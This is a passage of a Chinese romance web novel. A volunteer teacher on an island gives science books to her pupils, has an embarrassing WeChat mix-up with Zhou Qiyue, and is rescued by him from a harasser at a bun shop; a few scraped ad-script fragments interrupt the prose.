这个窗口正对操场,操场上难得热闹,学生们屁股底下掂着一本书坐在水泥地,面前放着小板凳当书桌,个个低头奋笔疾书地写试卷。 陈夏柠从行李箱翻出摄像机和三脚架,兴奋地跑到操场准备录制支教的第一个视频,她找了个拍摄较好的方位,篮球架下面。 还是外面凉快,让学生室外考试真是明智的选择。 陈夏柠调整好摄像机,边开启录制模式,边针对某个场面拍照,画面中天空湛蓝如洗,白云飘飘然然像松软的棉花糖,半空中有漂浮的蒲公英碎片。 原本燥热的心情平和了许多,她很喜欢拍照记录生活碎片,记录一切打动人的景色。 视角不断拉近,方才以为学生是在认真答题,现在才算看清楚状况,有的学生脸贴在卷面,还有的学生趴凳子上睡觉,更离谱的是后排学生在地上画图,用折断的小树枝当棋子自顾自地玩起“树枝游戏”。 监考老师路过后排,直接一脚踢散学生搭建的棋盘,然后当做什么都没发生过,背着手大摇大摆地巡视其他地方。 被偷袭的学生:“......” 路过睡觉的学生,监考老师也没去打扰,心如止水、司空见惯地接受事实。 “陈老师,你在拍什么呀?” 李悦跑过来跟她搭话,话间已然凑到摄像机前,画面正对着一个正睡懒觉的小胖孩,她没生气,反而啧啧称奇:“想不到大魔王睡觉的样子还挺可爱。” 正常的回答不应该是,诶,这个学生干嘛呢?不好好考试,在这睡懒觉,我去把他叫醒。 “李老师,期末考试大家都这么……懈怠?”陈夏柠说的这个懈怠不只是学生还包括老师。 “英语考试,随便考考就好了,”李悦破罐子破摔地说,“数学老师教的英语,学生连二十六个英文字母都认不全,就别强求他们认真考试了。” 陈夏柠顺着她的话说:“那他们的数学是不是体育老师教的?” “陈老师你还挺幽默的哈,”李悦嘿嘿一笑,话锋陡转,“这鬼地方连老师都招不齐,哪还有体育老师,数学老师兼职体育老师。” 连说这话的李悦也不会一直待在这,她只是一毕业考上三支一扶项目被分配到朝阳岛,据说待够两三年就可享受入编或者报考公务员定向招录等福利。 陈夏柠僵硬地扯出一个笑容,小声咕哝:“数学老师还真万能。” “......” 李悦指着画面中的小男孩,把他当成重点对象交待,“他叫王小壮,外号大魔王,看见他头上的纱布了没,前两天在楼道间打闹受伤的就是他,这小孩皮的很,有时候老师也拿他没办法。” 陈夏柠盯着屏幕看了看,人如其名,小男孩长得挺壮,圆润得像个皮球。 考试进行到半小时,场内早就睡倒一片,一眼望过去没有学生在答题,监考的五位老师也不想浪费大家的时间,干脆提前收卷。 这是最后一场期末考试,交完试卷的学生蹦蹦跳跳搬着凳子回教室,乐呵呵地嚷嚷着放假啦放假啦。 陈夏柠想起还需要出镜录制一个情景解说,站在摄像头前正要开口说话,身后有只小手扯了扯她衬衫的衣角,一道乖巧甜糯的嗓音:“陈老师。” 陈夏柠下意识回头,小女孩身高只到她腰部,扎着两只小辫子,水灵灵的大眼睛。 三月份她们见过面的,陈夏柠记得她叫冯志鑫,三年级的小朋友。 陈夏柠蹲下帮她捋了下耳边的碎发,“鑫鑫,我们又见面了。” “陈老师还记得我。”小女孩摆手鼓掌,因为被记得而喜悦。 “记得,一直记得。”陈夏柠莞尔一笑,“你哥哥呢?” 小女孩目光越过她的肩膀,朝不远处在下棋的冯志强大喊:“哥,陈老师找你。” “来了。”冯志强五年级,瘦高的体型,戴着眼镜,文绉绉大学霸的模样。 果不其然见到陈夏柠的第一句话:“陈老师,你不是说要给我们带什么有趣的书来着?” “跟我来。” 择日不如撞日,陈夏柠关掉摄像机,拎着三脚架带着两兄妹去教师办公室。 原本打算等到航海日那天发给学生,可她也迫不及待地想让他们看看了。 陈夏柠找了支圆珠笔将纸箱划开,拿出两本科普书最先给两兄妹。 这科普书很厚重,精装版,封面是蓝色大海和卡通航海员,实体书一翻开里面每一页都可以拉开立体卡通图片,文字不深奥,主要是让儿童能看懂。 “哇,好漂亮啊,”冯志鑫指着一个人物照片一眼认出,“哥,这是你崇拜的宋行舟船长耶。” 陈夏柠注意到冯志强心怀敬畏的神情,印象中这孩子像他名字那样有志向又志强,好奇道:“志强,你以后的梦想是什么呀?” 冯志强没藏着掖着,雄心壮志地说:“我爸说,当渔民守着这个岛没什么意思,倒不如以后当船长开国产大型邮轮,周游全世界,想想就很酷。” 是啊,谁小时候没有周游世界的梦想呢。 只是长大后又发现,周游世界也是一种漂泊流浪,异国他乡的人总会有孤独的时刻,尤其是独自一人生活,这份孤独会无限放大。 在国外读研三年,她就已经收心,选择回国找一份安稳的工作了。 陈夏柠从不会打击学生,对着小男孩露出欣慰又真挚的笑容:“老师提前祝你梦想成真。” 两兄妹视若珍宝地抱着科普书回班,惹来其他同学的目光,没有小朋友会不喜欢这样生动趣味的卡通书籍。 王小壮一副要动手抢的架势,“我也要我也要,你们在哪弄的?” 冯志鑫警惕地将科普书紧紧抱在怀里,“你去办公室找陈老师要,别抢我的。” - 在办公室的陈夏柠不禁打了个喷嚏,她这人爱干净,趁着老师们在教室批改试卷,她有点强迫症地扫地,室内尘土飞扬,又转身去外面接了盆水,往地面撒水。 等忙活完,她刚坐在椅子,下意识摸了摸口袋,手机呢? 陈夏柠晕头转向地找了一圈也没找到,想着是不是接水的时候落在洗手池了,人还没出去,以王小壮为首的小朋友们跑过来把她堵在门口。 有人嚷嚷着:“陈老师,我们也要漫画书。” 陈夏柠一愣,“漫画书?” “你给冯志鑫和冯志强都发了,”王小壮双手叉着腰,小大人的模样,“不许偏心,我们也要。” 陈夏柠这才明白他们要的是科 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 普书,维持好秩序让他们排队进屋领,“不要着急哦,每个人都有。” 小朋友们还算配合,挨个进来领书,陈夏柠发的也快,收到书的小朋友围在一起交谈。 “嘿嘿,好漂亮,我喜欢这本书。” “哇,我第一次看见立体的漫画书。” “这不是漫画书,是科普书。” “这么好看,就是漫画书!” ....... 兜了一圈,在宿舍找到手机,真是糊涂了,她压根没将手机拿出去。 回放今天发书的视频,每个孩子都满带笑容的离开,陈夏柠心里好似涌入一股暖流,真心感谢出版儿童科普书的人。 别说小学生了,就算是高中生,他们也会觉得航海知识很枯燥,专业性强,晦涩难懂。 小朋友天生自带好奇心和求知心,不爱学习,不擅长某个科目,只是因为他们没有遇见有趣的传播方式。 从明天开始陈夏柠就要忙起来了,这个暑假怎么度过全凭个人良心。 既然她来了,就想做点有意义的事帮助这里的学生。 想到这,陈夏柠趁热打铁地掀开笔记本电脑做课件,既然学生的英语底子不好,那她就重点教授英语。 科普书给了她灵感,陈夏柠专门去网上搜索比较生动的英语动画,下载并插入到PPT中。 这宿舍也没有宽带,她电脑连接的是手机流量,网速很不稳定,视频下载得磕磕绊绊。 原本半小时能搞定的课件硬生生花费一个小时。 来的时候忘记带U盘,陈夏柠索性登录Windows微信,将课件拖到文件传输助手里面,以便上课时登录微信传输到教室的多媒体上。 陈夏柠靠在椅背,伸了个懒腰,活动了下脖子,看了眼窗外黑漆漆的天色,不知不自觉太阳落山了。 文件转着圈显示正在传输中...... 陈夏柠百无聊赖地扫视屏幕,微信列表最顶端的页面是July。 她视线定住,July不就是七月么。 “你看,连你自己都觉得你名字的谐音是七月。” “也不能怪我念错,你自己都承认你是七月了。” “......” 莫名奇妙地跟个聊天框自言自语上了。 周祈越,周七月...... 不知道为什么,总觉得他的名字有点耳熟,但一时也想不起来在哪听过。 可能是错觉吧,反正她最近有错觉的事情太多了。 周祈越的微信头像是一副挺好看的油画,蓝色大海,右下角还有个黄色的小图案,像个水果,是柠檬吗? 陈夏柠看不太清,点击鼠标放大头像去瞅,然后又是转圈圈加载。 文件传输成功,她干脆断掉电脑的网,摁亮手机,点击他头像,手机信号在这时由五格退到两格,页面卡顿得厉害。 陈夏柠点击了几下,图像总算弹出来,显示清楚。 右下角的水果色彩很明亮,是柠檬还是橘子? 她觉得十有八九是柠檬。 这个油画只有海和柠檬,想表达什么呢? 陈夏柠没深想,微信头像不都是从网上扒拉下来的网图么,能有什么意思。 她觉得自己也够无聊的,竟然在偷窥一个男人的头像。 于是赶紧按返回,退出去。 俩人的聊天页面有信息更新。 [我拍了拍“July”的肩膀说儿子真乖] [我拍了拍“July”的肩膀说儿子真乖] [我拍了拍“July”的肩膀说儿子真乖] 什么!鬼?! 陈夏柠瞳孔一滞,三秒之后血液高涨,耳后有酥麻的电流蔓延全身。 她赶紧点撤回,撤掉两个后,继续撤第三个,显示失败。 超时了...... 5. 多管闲事 每逢夏季,傍晚时分海边沙滩总会聚集许多人来吹海风。 前段时间一到晚上就下雨,海浪也不稳定,好不容易逮着个平静的夜晚,这会儿岛民纷纷走出家门。 周诚喊上好哥们带上烧烤装备,顺便拉上周祈越,主要是因为他有车,五个人挤到在一辆车来到人流量较少的星月湾。 周祈越帮他们扎好天幕,其他四人在忙活烧烤架和食材,他便捞起折叠椅坐在一边,胳膊肘枕在后脑勺,一条腿曲着另一条腿伸着,最慵懒舒适的姿势。 “大少爷,你倒是挺会享受。”周诚拎着啤酒瓶走过来踢了一下他的椅子腿。 周祈越侧过脸,斜睨着他畅饮啤酒,悠然自得地使唤人,“给我也拿一瓶。” 周诚冷哼一声,没好气道:“要喝自己拿。” “你就是这么对待你的债主?”周祈越本就是被硬拉过来的,大少爷脾气上来就会戳中别人要害,欠兮兮地,“不听话我考虑长点利息,百分之二十还是百分之二百?” 周诚挠了挠头:“......什么玩意儿,你高利贷啊?” “我有说不是么?”周祈越这人狗起来无人能敌。 诈骗! 妥妥的诈骗! 人在屋檐下不得不低头,周诚赶紧猫着头跑过去给债主拿啤酒,回来的时候也带着椅子坐旁边跟他一起享受。 啤酒瓶碰撞发出清脆的声响,扑面而来的海风和煦,还有日落衬托。 周诚长呼一口气,悠悠道:“怪不得你不想走,就这生活比你跑船强一百倍,开船有什么意思,出海跟与世隔绝似的,整天跟一群大老爷们生活,又没有美女。” “说你土鳖一点也不冤枉,”周祈越嗤笑,懒得跟他解释现在邮轮汇集吃喝玩乐一体化,船上生活没想象中的枯燥,“等你体验过迎都号再来发言。” “别,我天生晕船,治不了。”周诚被爸妈逼得自动抵触航海这行业,大胆设想一番,“咱俩要是能互换人生就好了,你当我爸妈满意的周船长,我当你爸妈满意的继承人,这样人类的幸福指数又提升了。” “怎么,祸害你爸妈不够,还想祸害我爸妈?”周祈越对这想法嗤之以鼻,又颇为认真给出建议,“要想人类的幸福指数提升应该考虑将你移出地球。” 周诚瞬间急了,一把将空酒瓶砸在沙滩上,“你这张嘴除了会损我还会干什么?” “还会喝啤酒。”话间,他懒洋洋地扬起手中的青岛啤酒畅饮。 “......” 再多待一秒就是给自己找气受,周诚气冲冲地从躺椅上下来,还不小心被自己扔的酒瓶绊了一下,险些狗吃屎。 瞥了眼他的背影,周祈越无奈摇头,扶不起来的阿斗。 嗯......莫名通古贯今,理解刘备了。 过了一会儿,董川过来喊他吃烧烤,来的三位周诚的朋友中,也就董川他熟悉点,林梅校长的儿子。 话说周诚的朋友都一个样,狐朋狗友,整日消遣酒吧和棋牌室各种娱乐场所,流里流气,像不良少年,不,应该说像社会/恐怖分子。 他们将烤好的食物摆在小方桌上,桌子太小五个人围在一起太挤,他们干脆铺了层野餐垫在沙滩,想吃什么伸手就可够到桌边。 食材还算丰盛,鸡腿鸡翅鸭掌,还有各种螃蟹生蚝龙虾之类的。周祈越专挑茄子土豆片和烤馒头等素食,只有长期出海的人能懂,看见大鱼大肉尤其是海鲜真的腻得不行。 五个大老爷们聚在一起大眼瞪小眼地干吃喝也没什么意思,周祈越跟其余三人不熟,五个人聊两波天属实奇怪,游戏最能活跃氛,周诚从背包里搜罗到一副麻将牌,大家边吃边玩。 周祈越会玩麻将牌的,但周诚介绍的规则跟他玩的大相径庭,他还说什么你要入乡随俗,这是朝阳岛的玩法。 行吧,少数服从多数,周祈越一边玩一边熟悉新规则,输了三把总算上手。 “既然你觉得海上生活不错,为什么还待在这?”周诚摸着牌,恍然想起他还有问题没回答。 “这破岛是有你留恋的人还是咋滴?” 周祈越正在抽牌的指尖一颤,恍惚了三秒,有张红中从掌心滑落。 他拾起那张牌,架在食指和中指之间,盯着上面的字,揶揄周诚:“给自己放假,你有意见?” 还能不能好好说话,周诚服了他了,“你待到世界末日我都没意见。” 第四把正式开启惩罚模式,除了喝酒,最先赢的人可以要求输的人做一件事。 周诚最先和牌,其余四个人继续玩,就是要筛选留到最后的大冤种。 周祈越好不容易凑齐一组和牌,亮牌表示自己赢了,周诚一眼扫过去,指指点点:“你这压根没有条牌,不算,必须三门跑。” 周祈越嗔怪:“你不早说。” “你也没问啊,规则就是这样。”周诚望了望其他人,“你们说是不是啊?” 其他人一同点头。 周祈越怀疑自己被框了,但找不到证据。 最终其他三人先后和牌,周祈越成为了留到最后的大冤种,喝了半瓶啤酒还要接受周诚的惩罚。 周诚一脸得意地伸手要他手机,周祈越不情愿递过去,不忘眼神警告:我是你债主,你别太过分。 周诚编辑了几秒,又将他拉进“朝阳岛火箭队”群聊,朝其余三人使眼色,让他们纷纷效仿。 周祈越拿回手机,盯着群聊开启刷屏模式。 [“周诚”拍了拍你的肩膀说儿子真乖] [“董川”拍了拍你的肩膀说儿子真乖] [“谢存”拍了拍你的肩膀说儿子真乖] [“季扬”拍了拍你的肩膀说儿子真乖] “幼不幼稚?”周祈越微眯着眼,嫌弃地看向周诚,“多大了还玩这种游戏。” “这叫君子报仇十年不晚!”周诚至今还记得大学玩游戏输给他,当着朋友的面喊他爹这事。 也不是周祈越让他喊的,而是当时游戏规则提前定好了,输者要喊赢者爹。 周祈越回忆了一下,“如果我没记错的话,游戏规则是你定的。” “那又怎样,我今天扳回一局了。”周诚继续拍他,并截屏发朋友圈炫耀,炫耀他总算赢了周祈越一回。 周祈越懒得跟一个“巨婴”计较,正准备退出微信,列表又有状态更新。 [“小柠檬”拍了拍你的肩膀说儿子真乖] 周祈越点开对话框,又跳出两个拍一拍,他凝视屏幕,扯了扯唇角。 周诚发完朋友圈,转过头来发现他竟然在笑。 “周祈越,你这副表情是在嘲笑我吗?” “......” 另一边。 陈夏柠趴在床上崩溃地抓了抓头发,冷静下来后又觉得挺搞笑的。 多次确认,是儿子,不是爹。 侮辱的是他,不是她。 还好还好。 微信这项功能刚出来那会儿,大家带着好奇心热衷于拍一拍,恶搞的内容不应该是某人拍了拍我喊了声爹? 反正就是占别人便宜的内容,五花八门的,她都见过。 周祈越这种内容,她还是第一次见。 这是舔着脸让别人占他便宜? 隔着屏幕,陈夏柠暗自嘲笑他热衷给人当儿子,边指腹按在屏幕编辑好措辞“不好意思啊,我不小心误触了”,却被对方抢占了先机。 July:【占我便宜?】 陈夏柠:“......” 倒反天罡! 强词夺理! 陈夏柠一时想不出应对的措辞,赶紧去洗漱睡觉,就当睡着了没看到消息。 - 她这个认床的毛病又加 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 剧了,比昨天早一个小时醒来,等到天际泛起鱼肚白,陈夏柠收拾好出门,继续坚持晨跑的好习惯。 在操场上跑了一圈,林梅倏然从身后窜出来,“早上好啊,陈老师。” 打完招呼,她便跑到前面去了。 陈夏柠惊了一下,校长也在晨跑,随后紧跟上也跟她招呼一声。 两人并排慢跑,闲聊天。 林梅扬起手臂,用肩上的毛巾擦了下额头的汗水,“陈老师,期末成绩已经出来了,今天上午学生就能放假。” 陈夏柠呼吸还算平稳,接话茬:“那下午就由我来带小朋友了。” 林梅偏头看她一眼:“嗯,你有什么计划吗?” 陈夏柠说起目前的打算,不仅会教授科普书的内容,也会给他们补英语课。 “挺好的,但这两天你不着急上课,先和同学们磨合磨合。”林梅说,“这群孩子可不希望刚放假还要上课。” 陈夏柠:“好,我注意他们的劳逸结合,多调动他们的积极性。” “想必李老师跟你也说了,我当着校长还要协调几个村的事务。”林梅知道她一个人的工作量属实大,善意提醒,“力所不能及的时候,只要看好他们别乱跑,保证人身安全就行,上不上课也无所谓。” 陈夏柠明白校长的意思,这座小岛随处可见的海,没有家长的监督,学生暑假溺水事件层出不穷。 跑完步肚子饿得咕咕叫,学校食堂还没开,林梅说金鱼巷的早点铺很多,孟记包子铺特别受欢迎。 陈夏柠昨天刚去过,认识路,清晨的小巷沾着露水的湿润,屋檐上几只白鸽扑腾扑腾翅膀,顺着香味飞往孟记包子铺。 没想到生意还挺火爆,门口排着大长队,走近发现为首的人举着旗杆,讲解接下来的行程。 原来是个旅游团。 陈夏柠排在旅游团的后面,等了半天队伍也没动,她真的好饿啊,早上六点半,目测这条巷子只有这家包子铺在开门。 队伍呈现S形,旁边几个男人插科打诨地聊着怎么钓美女,她有点虚脱地蹲在地上,浑然不在意地别开眼,注意到队伍前列一道挺阔的背影。 男人正低头看手机,后颈的棘突明显,侧脸棱角分明。 深蓝色短袖搭配黑色工装裤,相比较昨天的浅蓝色,他今天更显成熟干练,冷着一张脸,挺有威严。 陈夏柠静静地低下头看地面,尽量降低自己的存在感。 生怕他突然出现举着手机质问,解释一下你占我便宜的行为。 “小姐,你不舒服吗?”前面有位男人转过身看她。 “没有没有。”陈夏柠头也不抬地小声说。 “那加个微信吧?”男人突兀地来了句,蹲下去,手机已经伸到她面前。 陈夏柠抬起头。 男人生着一张混不吝的脸,两只耳朵打满耳钉,耳后的纹身延伸至脖颈,妥妥的坏男孩形象,不禁让她想起另一个人。 陈夏柠忙不迭站起来往后退,扯了个没说服力的理由:“我没微信。” 纹身男叼了只烟在嘴角,自以为霸道又很酷地说:“哥哥加你,你就别拒绝。” 陈夏柠生理性恶心这种人,冷嗤一声:“我就不加。” “别他妈给脸不要脸!”纹身男瞬间失去耐心,手掌猖狂地搭在她肩膀,以绝对的力量优势按住她,“加不加?” 陈夏柠本就饿得心里发慌,现在心情烦躁到极点,正要抬脚踢对方,倏地,随着一股清淡的乌木香侵袭,肩膀上的力度也消失。 等她反应过来,周祈越已经反手钳制住纹身男的手腕,掰着他的指关节往外扯,男人嗷嗷叫两声,警告他:“少他妈多管闲事。” 周祈越以绝对的身高优势俯视对方,散漫的表情带着不好惹,挑衅道:“巧了,我的外号就叫多管闲事。” “......” 6. 搬运工 队伍后面起了争执,其他人只敢围观不敢上前插手,陈夏柠退到屋檐下掏出手机赶紧报警。 纹身男自以为能恐吓到对方,谁知这人不是善茬,施加在他左手臂的力度不断加重,快要把他手腕拧断。 纹身男彻底被激怒,握紧右拳蓄积力度挥出去,周祈越敏锐地偏头躲开,以极快的速度抬脚绊倒他。 “砰”的一声,纹身男膝盖落地,两只手臂被掰到身后,像斩首示众的犯人一样跪倒在他面前。 “拽上天了,我还以为你有多厉害。” 周祈越居高临下地哼笑,大学期间他接受过军事化管理还学过格斗术,纹身男这点伎俩无疑班门弄斧。 暑假游客量增加后,公安局巡逻的人手也增加,接到报警电话五分钟就有警察赶过来。 纹身男仍然不知悔改,见到警察立马卖惨,倒打一耙,谎称自己被欺负了。 陈夏柠和警察说明了下情况,还好包子铺门口有监控证明,等事情解决好,纹身男被带走。 旁观者吃完瓜看完戏,收回注意力,排队的继续排队,买完包子的游荡金鱼巷。 陈夏柠状态更不好了,脸色惨白,体力不支,侧靠在墙壁支撑着自己。 朝阳徐徐升起,有缕光打在她肩膀,耳边落下一道清澈如泉水般的嗓音:“先吃这个。” 男人手臂伸过来,像变魔术似的伸开拳头,掌心有颗黄色包装的柠檬糖。 她接过手,撕开糖纸将糖果含在口中,入口有点酸,后面又很甜。 缓了两分钟,陈夏柠基本能站稳了,抬眼望向男人的背影,他一直站在斜前方,浑身气压偏低,没怎么说话。 她有气无力道:“谢谢。” 周祈越没回头,手里拎着包子和豆浆举到她面前,淡淡道:“买多了,别浪费。” 清晨的露珠早已蒸腾,阳光愈发刺眼,周遭的温度加速燥热,小巷的店铺纷纷营业,小巷中间有个休息区。 陈夏柠坐在凉亭吃完包子和豆浆,目光转向旁边的百年柳树,周祈越跟一群老大爷乘着树荫下象棋,玩得热火朝天。 “哎哎哎,干嘛呢。”周祈越玩起游戏才不管什么尊老爱幼,现场抓住老爷爷藏棋,“大叔,你太不厚道了。” 老人脸色一黑,抄起蒲扇敲了下他额头,想转移话题:“别乱了辈分,我是你爷爷。” 周祈越真是一点台阶也不想给对方,“你就算是我祖宗也不能藏棋。” “我哪藏棋了!”老爷爷用棋子敲着桌面硬气道,“它掉了,我捡起来,你就说我作弊啊!” 年轻人思维就是清晰,“我可没说您作弊,您倒是挺着急对号入座。” “......” 场面瞬间僵持不下,乌鸦来了都要多叫几声。 陈夏柠趁机插话,跟他打声招呼:“周祈越,我先走了。” 周祈越回过头,视线落在她背影,反正这棋也下不去了,他意兴阑珊地自动退出。 陈夏柠没打算立刻回学校,想逛会儿街给小朋友买点水果零食,以便下午开个见面会熟络一下。 周祈越阔步跟上来,顶着一张找事的脸,开口:“陈夏柠要不要解释一下你昨晚的行为?” 好吧,我就猜。 陈夏柠停在一家水果铺,挑着苹果打掩饰,好整以暇地说:“不好意思啊,昨晚我想发消息提醒你收款,不小心误触了你的头像。” “对话框出现三次,”周祈越颇为认真地计算,“也就是说你点了我的头像六次。” “......” 陈夏柠低不可闻地叹气,为什么每次她都在做无效撤回,这人时时刻刻住在手机上看别人发消息是吗? 下一秒脑海里有个小人回复: 可不就是么,你永远无法想象无业游民有多闲! 就比如他现在闲着没事较真你点了几次他的头像! 陈夏柠觉得他这人挺聪明,总能找到别人说话的漏洞,干脆坦然承认:“我是绘画爱好者,昨晚无意间看见你头像是副油画,带着好奇心想看清楚右下角的图案,但我宿舍信号不好,一直没加载出来所以多点了几下,谁知道就变成拍一拍了。” 说到这,她憋笑,小声道:“反正不是我占你便宜,是你自己......” 舔着脸让别人占便宜。 瞥见他漆黑的眉眼自带冰度,陈夏柠将前面的话咽回去,改口:“谁知道你口味挺特别,热衷于......” 热衷于给别人当儿子。 嗯.....这句话杀伤力似乎更大。 陈夏柠干脆闭嘴不说了。 “我这人大方的很,你要想看可以直接找我要。”周祈越抱着双臂,挺直腰,恶劣道,“倒是不用搞偷窥这一套。” “......” 陈夏柠僵硬地笑了笑,挺后悔方才嘴下留情了。 老板将她买的苹果称好,说了个价格,趁机推销自家的西瓜:“姑娘要不要西瓜,包甜的。” 说着,老板切了一小块热情地请她试吃。 陈夏柠尝了一口,竖起大拇指:“真的很甜。” 老板:“那买一个?” 陈夏柠爽快道:“要五个!” 老板立马川剧变脸,笑的合不拢嘴:“好嘞。” 周祈越看老板选的西瓜个头特别大,连两箱实体书她都推不动,别说扛一袋西瓜了。 他站在一旁说风凉话:“买这么多,你拿的动吗?” “拿不动啊。”陈夏柠转头审视他,露出不怀好意的笑容,“不是还有你么?” 周祈越急忙甩锅:“我可没说要帮你拿啊。” “某人不是说自己的外号叫多管闲事么?”陈夏柠微挑着眉,也学着他那欠揍的模样,“我这是在给你表现的机会。” 周祈越目光灼灼地盯着她,呵笑:“行啊,你挺上道。” 老板将五个大西瓜放在大麻袋装好,陈夏柠付好钱,临走之前跟老板使了个眼色,让他把西瓜转交给周祈越。 陈夏柠拎着一小袋苹果悠哉悠哉地走着前面,扫视着巷子里各种好玩新奇的店铺摊位。 周祈越背着一麻袋的西瓜跟在身后,这点东西也难不倒他,三步并作两步地跟她齐肩,偏过头质问:“你把我当成什么了,搬运工啊?” 陈夏柠套用他方才怼大爷的台词:“我可没说哦,你别着急对号入座。” “......” 周祈越摆出无奈的表情,故作挣扎地挽回一下面子:“我这叫日行一善。” “......” 陈夏柠内心偷偷尖叫,身后好似有双无形的翅膀欢快扑腾。 耶耶耶,总算将他一军了。 - 上午发完成绩和奖状,校长召集全校学生在大教室,千叮咛万嘱咐暑期安全,以及支教老师的事。 暑假期间学生们上下学仍然有校车接送,还没到放学时间点,同学们听完讲座一蜂窝跑到操场自由活动了。 陈夏柠带着一位男人大包小包地进校,林梅走过去搭话:“陈老师买的什么啊?”随后又瞧了男人,眼生的很,“这位是?” “逛街的时候顺手给孩子们买了西瓜和零食。”陈夏柠瞧了眼正把麻袋从肩上放下的周祈越,说了声他的名字,凑到校长耳边小声提醒,“他就是周警官的儿子。” 林梅打量着小伙子,哦哦两声,这还是长大后第一次见到他本人。 没想到她眼中的“败家子”长得确实很帅。 林梅喊了声确认:“周祈越?” 周祈越活动着发酸的肩膀,朝长辈颔首,也是确认的语气:“您是林梅校长吧?” 董川的妈妈。 “对。”林梅意味不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 明地点点头,她这人相信面相,总觉得面前的小伙子没有传闻中的那么混账呀。 可能他已经长教训了,洗心革面重新做人了吧。 大太阳底下不适合谈话,林梅邀请他们去空教室吹风扇,边走边笑得和蔼:“小伙子最近在做什么工作?” “最近没工作。” 只要是长辈跟他谈话,周祈越一贯保持一问一答的状态。 经验告诉他,一旦表现的健谈,他们就能把所有话题越扯越远,直到关心你的人生大事。 林梅心道就知道你没工作,我这就给你机会,“那要不要考虑来我们这工作?” 闻言,陈夏柠心里咯噔一下,原本她是想让周祈越来帮忙的,但现在多了份忧虑。 那就是,周祈越这人貌似挺难伺候的。 她不确定俩人能否合作愉快。 周祈越摸了摸脖颈,模棱两可地说:“我考虑考虑。” 林梅笑:“行,随时欢迎你们年轻人的加入。” 三人进了间大教室,打开风扇,陈夏柠和周祈越帮忙洗西瓜,林梅去食堂借了把刀开西瓜,五个西瓜个头真的很大,足够分给五十多位小朋友。 小朋友们玩累了回到教室吃着西瓜和零食,喝果汁,这样的夏天生活,他们怡然自得。 毕竟三月底,陈夏柠来过这里,小朋友们对她有印象,还算听她的话。 教室内小朋友的声音嘈杂一片,陈夏柠出门看见冯志鑫在哭,周祈越蹲在她面前拿着纸巾给小女孩擦眼泪,并从口袋里掏出一颗柠檬糖给她。 男人真就哄小孩的套路,柔声安慰:“吃颗糖就不疼了。” 陈夏柠走过去弯腰询问:“鑫鑫怎么了?” “陈老师,我期末考的好差,跟哥哥差的好远,和同学们搬凳子还摔了一跤,太丢脸了。”小女孩眼睛红红的,自卑又丧气地说,“我觉得自己好没用,” 陈夏柠理解小女孩脸皮薄,开导她没事,在哪里跌倒就在哪里站起来,这不丢脸,并用黑色中性笔在手指画图,最后呈现出来十位灵动的拇指小人,准确的说,应该是拇指动物。 她夹着嗓音,分别介绍它们:“你好,我们是三只松鼠。你好,我们是七只老虎。” “松鼠和老虎居住在森林发生了矛盾,声称要驱赶对方。” 十根手指画出十只可爱的小动物,冯志鑫觉得新奇又好笑:“老师,为什么不是三只老虎和七只松鼠呢?松鼠打不过老虎,会死的。” 周祈越闲散倚在墙壁,手掌抵在窗沿,耀眼的阳光射在走廊,他的轮廓随之柔和,唇角噙着淡笑,漆黑发亮的目光定在她们俩。 冯志鑫的一句话令他脑海快速闪回很久的画面。 小男孩同样在手指上画了三只松鼠和七只老虎,舞动着拇指动物,拿腔拿调道:“老虎说,我们是兽中之王,你们都要服从我的安排。” “松鼠说,哼,我们三兄弟偏不听。” 小女孩叹口气:“松鼠的力量太薄弱了,要不还是七只松鼠和三只老虎吧,鼠多力量大,一起消灭老虎。” 思绪回笼,周祈越抬起头,抢先回答小女孩的问题:“松鼠在体型上输于老虎,但它们个头小,会打洞,住在树巢和树洞里隐藏自己,方便躲避老虎。老虎作为兽中之王,力量和狩猎,松鼠自然比不了。” 他没说什么生态平衡和丛林法则,怕小朋友听不懂,简而言之:“松鼠不一定会输给老虎,但老虎也不一定会输给松鼠,相反它们都会存在。” “人和动物一样,各有长处又各有短处。再渺小的力量也有存在的意义,也会有变强的那一天。” 冯志鑫醍醐灌顶地狂点头。 陈夏柠怔懵在原地,虽没在看他,却听的很仔细。 好奇怪啊,为什么他准确说出了她想表达的。 尤其是最后两句,一字不差。 7. 搞笑男搞笑女 “第一,同学之间和睦相处,有矛盾找老师协商,不要打架。” “第二,暑假作业和课程按时到场,不要缺席,遵守课堂纪律。” “第三也是最重要的一点,不要私自外出去海边,想出去玩一定要跟我打报告,我带你们去。” 陈夏柠站在讲台扫视台下个个神采奕奕的同学们,郑重其事地问:“大家可以遵守约法三章吗?” 林梅双手背后,腰板挺直,威严得像个守门神杵在教室门口,同学们接收到校长气势汹汹的眼神,老实巴交地齐声应:“可以遵守!” 光制定规则没什么震慑力,陈夏柠搬弄管理大学生的那套,征求小朋友们的意见:“要是有人违规了,你们说怎么惩罚他?” 冯志强带头举手:“让他打扫教室卫生!” 冯志鑫瞄了眼斜对面的王小壮,意有所指道:“让他去操场跑三圈!” 王小壮这身板最怕跑步了。 果然小学生和大学生害怕的东西是不同的,后者最怕写检讨和受处分,让他们打扫卫生和跑步那都不是问题。 “那行。”陈夏柠选择因材施教,“不遵守规章的小朋友就负责扫地,去操场跑两圈。” 同学们交头接耳着没立刻做出反应,林梅以一种不容商量的态度,扯着嗓子吼一声:“听清楚了没?!” 同学们狂点头磕巴道:“......清...清楚了清楚了。” 这架势连陈夏柠都浑身一抖擞,想不到平日亲和的校长在学生面前这么有震慑力。 - 也是今天同学们午睡时,陈夏柠才知道学校专门配备有供学生午睡的宿舍,其实还有几位因家太远,留校住宿的同学。 况且全校就五十三名学生,给他们提供住宿也不是难事。 这座海岛没有初高中,小学毕业后只能去附近的城市读书,政府拨下来的教育资金专供这所小学,硬件设施虽比不上城市,但比想象中的好很多。 最大的不足应该在于师资了。 陈夏柠搬着凳子坐在走廊,望着在教学楼前玩耍的学生们,心里想了想这个问题。 可是站在另一个角度,的确不会有人愿意长期待在一座孤岛吧。 “陈老师陈老师。”冯志鑫兴高采烈地跑过来,双手举着一大袋柠檬糖放到她眼前。 陈夏柠思绪切断,诧异:“哪来这么多糖呀?” 冯志鑫回头指了个方向,陈夏柠顺着望过去,上午离开的人又回来了。 